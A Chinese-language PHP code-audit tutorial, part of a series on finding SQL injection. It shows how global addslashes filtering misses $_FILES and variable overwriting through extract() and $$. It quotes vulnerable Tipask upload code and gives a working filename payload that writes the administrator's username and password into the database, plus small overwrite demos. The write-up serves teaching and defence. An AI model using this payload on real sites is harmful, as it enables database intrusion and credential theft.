標籤:
0x01 背景
現在的WEB應用對SQL注入的防護基本都是判斷GPC是否開啟,然後使用addlashes函數對單引號等特殊字元進行轉義。但僅僅使用這樣的防護是存在很多盲點的,接上篇http://www.cnbraid.com/2016/05/10/sql6/,這裡介紹另外兩種情況。
盲點如下:
①FILES注入,全域只轉義掉GET、POST等傳來的參數,遺漏了FILES;
②變數覆蓋,危險函數:extract()、parse_str()、$$。
0x02 漏洞分析FILES注入
FILES注入一般情況是是因為上傳時把上傳的名字帶到insert入庫產生的,這裡看下tipask問答系統
首先看看它的全域防護是怎麼處理的:
index.php裡:include TIPASK_ROOT . ‘/model/tipask.class.php‘;$tipask = new tipask();$tipask->run();... ...跟進到/model/tipask.class.php裡:function init_request() {... ... $this->get = taddslashes($this->get, 1); $this->post = taddslashes(array_merge($_GET, $_POST)); checkattack($this->post, ‘post‘); checkattack($this->get, ‘get‘); unset($_POST); }
可以看到對get和post傳來的資料進行了addslashes特殊轉義處理,對$_FILES沒有任何處理操作,我們全域搜尋$_FILES,發現/control/attach.php有上傳處理,我們跟進:
<?phpfunction onupload() { //上傳配置 $config = array( "uploadPath" => "data/attach/", //儲存路徑 "fileType" => array(".rar", ".doc", ".docx", ".zip", ".pdf", ".txt", ".swf", ".wmv", "xsl"), //檔案允許格式 "fileSize" => 10 //檔案大小限制,單位MB ); //檔案上傳狀態,當成功時返回SUCCESS,其餘值將直接返回對應字元竄 $state = "SUCCESS"; $clientFile = $_FILES["upfile"]; if (!isset($clientFile)) { echo "{‘state‘:‘檔案大小超出伺服器配置!‘,‘url‘:‘null‘,‘fileType‘:‘null‘}"; //請修改php.ini中的upload_max_filesize和post_max_size exit; } //格式驗證 $current_type = strtolower(strrchr($clientFile["name"], ‘.‘)); if (!in_array($current_type, $config[‘fileType‘])) { $state = "不支援的檔案類型!"; } //大小驗證 $file_size = 1024 * 1024 * $config[‘fileSize‘]; if ($clientFile["size"] > $file_size) { $state = "檔案大小超出限制!"; } //儲存檔案 if ($state == "SUCCESS") { $targetfile = $config[‘uploadPath‘] . gmdate(‘ym‘, $this->time) . ‘/‘ . random(8) . strrchr($clientFile["name"], ‘.‘); $result = $_ENV[‘attach‘]->movetmpfile($clientFile, $targetfile); if (!$result) { $state = "檔案儲存失敗!"; } else { //這裡將上傳的檔案名稱帶入資料庫查詢 $_ENV[‘attach‘]->add($clientFile["name"], $current_type, $clientFile["size"], $targetfile, 0); } } //向瀏覽器返回資料json資料 echo ‘{"state":"‘ . $state . ‘","url":"‘ . $targetfile . ‘","fileType":"‘ . $current_type . ‘","original":"‘ . $clientFile["name"] . ‘"}‘;}
可以看到這句$_ENV[‘attach’]->add($clientFile[“name”]…),將$clientFile[name] = $_FILES[“upfile”][name]帶入了如下add入庫的操作,從而造成注入。
<?phpfunction add($filename,$ftype,$fsize,$location,$isimage=1) { $uid=$this->base->user[‘uid‘]; $this->db->query("INSERT INTO ".DB_TABLEPRE."attach(time,filename,filetype,filesize,location,isimage,uid) VALUES ({$this->base->time},‘$filename‘,‘$ftype‘,‘$fsize‘,‘$location‘,$isimage,$uid)"); return $this->db->insert_id();}
上傳一個檔案,然後修改檔案名稱為以下代碼即可擷取管理員賬戶密碼:
filename="1‘,‘.php‘,1,(select concat(username,0x23,password) from ask_user limit 1),2,1)#.jpg"
資料庫裡成功將管理員賬戶密碼插入到attach表中:
變數覆蓋
出現比較多的是extract函數,例如extract($_POST)會直接從POST數組中取出變數,覆蓋掉之前的一些變數。
<?php$a=222333;@extract($_POST);print_r($a);
瀏覽器裡post直接傳a=1發現成功覆蓋了變數a的值
目前看烏雲的案例http://www.wooyun.org/bugs/wooyun-2014-053189是出現在覆蓋表首碼上。
$$變數覆蓋
原理其實跟上面一樣,有個很經典的$$變數覆蓋的代碼:
<?php$a=22333;foreach(array(‘_COOKIE‘,‘_POST‘,‘_GET‘) as $_request){ foreach($$_request as $_key=>$_value){ $$_key = addslashes($_value); }}echo $a;
測試發現成功覆蓋了變數a
案例:http://www.wooyun.org/bugs/wooyun-2010-055338
原文連結:http://www.cnbraid.com/2016/05/31/sql7/,如需轉載請聯絡作者。
【PHP代碼審計】 那些年我們一起挖掘SQL注入 - 8.全域防護盲點的總結下篇